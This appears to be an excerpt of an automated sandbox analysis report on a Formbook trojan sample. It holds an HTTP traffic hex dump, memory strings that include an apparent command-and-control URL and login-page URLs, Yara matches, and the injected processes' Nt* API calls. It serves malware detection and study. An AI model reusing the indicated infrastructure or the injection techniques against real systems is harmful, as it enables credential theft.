70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 12:19:21 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound">

Source: eKxwLXHhqpgy.exe, 00000007.00000002.3563473884.0000000005680000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.crowsecurity.cloud
Source: eKxwLXHhqpgy.exe, 00000007.00000002.3563473884.0000000005680000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.crowsecurity.cloud/oigd/
Source: makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: makecab.exe, 00000006.00000002.3562512745.0000000005438000.00000004.10000000.00040000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000007.00000002.3561845912.00000000038D8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
Source: makecab.exe, 00000006.00000002.3560929755.0000000002B06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: makecab.exe, 00000006.00000002.3560929755.0000000002B06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: makecab.exe, 00000006.00000002.3560929755.0000000002B06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: makecab.exe, 00000006.00000002.3560929755.0000000002AE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: makecab.exe, 00000006.00000002.3560929755.0000000002AE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: makecab.exe, 00000006.00000003.2335386294.0000000007A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 1.2.svchost.exe.2410000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2410000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2155548191.0000000002C90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3561632009.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2147046823.0000000002410000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3563473884.0000000005600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2162734748.0000000005C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3560663904.0000000002800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3561586168.0000000004490000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3561735545.00000000056D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 1.2.svchost.exe.2410000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 1.2.svchost.exe.2410000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.2155548191.0000000002C90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3561632009.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.2147046823.0000000002410000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.3563473884.0000000005600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.2162734748.0000000005C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3560663904.0000000002800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3561586168.0000000004490000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3561735545.00000000056D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0243C533 NtClose,	1_2_0243C533
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72B60 NtClose,LdrInitializeThunk,	1_2_02E72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72DF0 NtQuerySystemInformation,LdrInitializeThunk,	1_2_02E72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E735C0 NtCreateMutant,LdrInitializeThunk,	1_2_02E735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E74340 NtSetContextThread,	1_2_02E74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E74650 NtSuspendThread,	1_2_02E74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72AF0 NtWriteFile,	1_2_02E72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72AD0 NtReadFile,	1_2_02E72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72AB0 NtWaitForSingleObject,	1_2_02E72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72BE0 NtQueryValueKey,	1_2_02E72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72BF0 NtAllocateVirtualMemory,	1_2_02E72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72BA0 NtEnumerateValueKey,	1_2_02E72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72B80 NtQueryInformationFile,	1_2_02E72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72EE0 NtQueueApcThread,	1_2_02E72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72EA0 NtAdjustPrivilegesToken,	1_2_02E72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72E80 NtReadVirtualMemory,	1_2_02E72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72E30 NtWriteVirtualMemory,	1_2_02E72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72FE0 NtCreateFile,	1_2_02E72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72FA0 NtQuerySection,	1_2_02E72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72FB0 NtResumeThread,	1_2_02E72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72F90 NtProtectVirtualMemory,	1_2_02E72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72F60 NtCreateProcessEx,	1_2_02E72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72F30 NtCreateSection,	1_2_02E72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72CF0 NtOpenProcess,	1_2_02E72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72CC0 NtQueryVirtualMemory,	1_2_02E72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72CA0 NtQueryInformationToken,	1_2_02E72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72C60 NtCreateKey,	1_2_02E72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72C70 NtFreeVirtualMemory,	1_2_02E72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72C00 NtQueryInformationProcess,	1_2_02E72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72DD0 NtDelayExecution,	1_2_02E72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72DB0 NtEnumerateKey,	1_2_02E72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72D30 NtUnmapViewOfSection,	1_2_02E72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72D00 NtSetInformationFile,	1_2_02E72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72D10 NtMapViewOfSection,	1_2_02E72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E73090 NtSetValueKey,	1_2_02E73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E73010 NtOpenDirectoryObject,	1_2_02E73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E739B0 NtGetContextThread,	1_2_02E739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E73D70 NtOpenThread,	1_2_02E73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E73D10 NtOpenProcessToken,	1_2_02E73D10
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047735C0 NtCreateMutant,LdrInitializeThunk,	6_2_047735C0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04774650 NtSuspendThread,LdrInitializeThunk,	6_2_04774650
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04774340 NtSetContextThread,LdrInitializeThunk,	6_2_04774340
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_04772C70
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772C60 NtCreateKey,LdrInitializeThunk,	6_2_04772C60
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772CA0 NtQueryInformationToken,LdrInitializeThunk,	6_2_04772CA0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772D30 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_04772D30
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772D10 NtMapViewOfSection,LdrInitializeThunk,	6_2_04772D10
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_04772DF0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772DD0 NtDelayExecution,LdrInitializeThunk,	6_2_04772DD0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772EE0 NtQueueApcThread,LdrInitializeThunk,	6_2_04772EE0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772E80 NtReadVirtualMemory,LdrInitializeThunk,	6_2_04772E80
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772F30 NtCreateSection,LdrInitializeThunk,	6_2_04772F30
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772FE0 NtCreateFile,LdrInitializeThunk,	6_2_04772FE0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772FB0 NtResumeThread,LdrInitializeThunk,	6_2_04772FB0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047739B0 NtGetContextThread,LdrInitializeThunk,	6_2_047739B0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772AF0 NtWriteFile,LdrInitializeThunk,	6_2_04772AF0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772AD0 NtReadFile,LdrInitializeThunk,	6_2_04772AD0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772B60 NtClose,LdrInitializeThunk,	6_2_04772B60
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_04772BF0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772BE0 NtQueryValueKey,LdrInitializeThunk,	6_2_04772BE0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772BA0 NtEnumerateValueKey,LdrInitializeThunk,	6_2_04772BA0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04773010 NtOpenDirectoryObject,	6_2_04773010
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04773090 NtSetValueKey,	6_2_04773090
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772C00 NtQueryInformationProcess,	6_2_04772C00
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772CF0 NtOpenProcess,	6_2_04772CF0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772CC0 NtQueryVirtualMemory,	6_2_04772CC0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04773D70 NtOpenThread,	6_2_04773D70
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04773D10 NtOpenProcessToken,	6_2_04773D10
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772D00 NtSetInformationFile,	6_2_04772D00
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772DB0 NtEnumerateKey,	6_2_04772DB0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772E30 NtWriteVirtualMemory,	6_2_04772E30
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772EA0 NtAdjustPrivilegesToken,	6_2_04772EA0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772F60 NtCreateProcessEx,	6_2_04772F60
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772FA0 NtQuerySection,	6_2_04772FA0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772F90 NtProtectVirtualMemory,	6_2_04772F90
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772AB0 NtWaitForSingleObject,	6_2_04772AB0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04772B80 NtQueryInformationFile,	6_2_04772B80
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_02829200 NtClose,	6_2_02829200
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_02829360 NtAllocateVirtualMemory,	6_2_02829360
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_02829070 NtReadFile,	6_2_02829070
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_02829160 NtDeleteFile,	6_2_02829160
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_02828F00 NtCreateFile,	6_2_02828F00
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_045DF9FC NtMapViewOfSection,	6_2_045DF9FC
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_045DFA51 NtClose,	6_2_045DFA51

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02428623	1_2_02428623
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0241228F	1_2_0241228F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02412290	1_2_02412290
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0243EB33	1_2_0243EB33
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02426813	1_2_02426813
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024130C0	1_2_024130C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_024130B6	1_2_024130B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02420113	1_2_02420113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0241111B	1_2_0241111B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02411120	1_2_02411120
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0241E193	1_2_0241E193
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0241FEEA	1_2_0241FEEA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0241FEF3	1_2_0241FEF3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02412790	1_2_02412790
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02412488	1_2_02412488
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02412490	1_2_02412490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC02C0	1_2_02EC02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E3F0	1_2_02E4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F003E6	1_2_02F003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFA352	1_2_02EFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF81CC	1_2_02EF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F001AA	1_2_02F001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC8158	1_2_02EC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30100	1_2_02E30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDA118	1_2_02EDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5C6E0	1_2_02E5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3C7C0	1_2_02E3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40770	1_2_02E40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E64750	1_2_02E64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEE4F6	1_2_02EEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF2446	1_2_02EF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE4420	1_2_02EE4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F00591	1_2_02F00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40535	1_2_02E40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3EA80	1_2_02E3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF6BD7	1_2_02EF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFAB40	1_2_02EFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E8F0	1_2_02E6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E268B8	1_2_02E268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4A840	1_2_02E4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E42840	1_2_02E42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E429A0	1_2_02E429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F0A9A6	1_2_02F0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E56962	1_2_02E56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFEEDB	1_2_02EFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E52E90	1_2_02E52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFCE93	1_2_02EFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40E59	1_2_02E40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFEE26	1_2_02EFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E32FC8	1_2_02E32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EBEFA0	1_2_02EBEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB4F40	1_2_02EB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E82F28	1_2_02E82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E60F30	1_2_02E60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE2F30	1_2_02EE2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E30CF2	1_2_02E30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0CB5	1_2_02EE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E40C00	1_2_02E40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3ADE0	1_2_02E3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E58DBF	1_2_02E58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4AD00	1_2_02E4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDCD1F	1_2_02EDCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE12ED	1_2_02EE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5D2F0	1_2_02E5D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5B2C0	1_2_02E5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E452A0	1_2_02E452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E8739A	1_2_02E8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2D34C	1_2_02E2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF132D	1_2_02EF132D
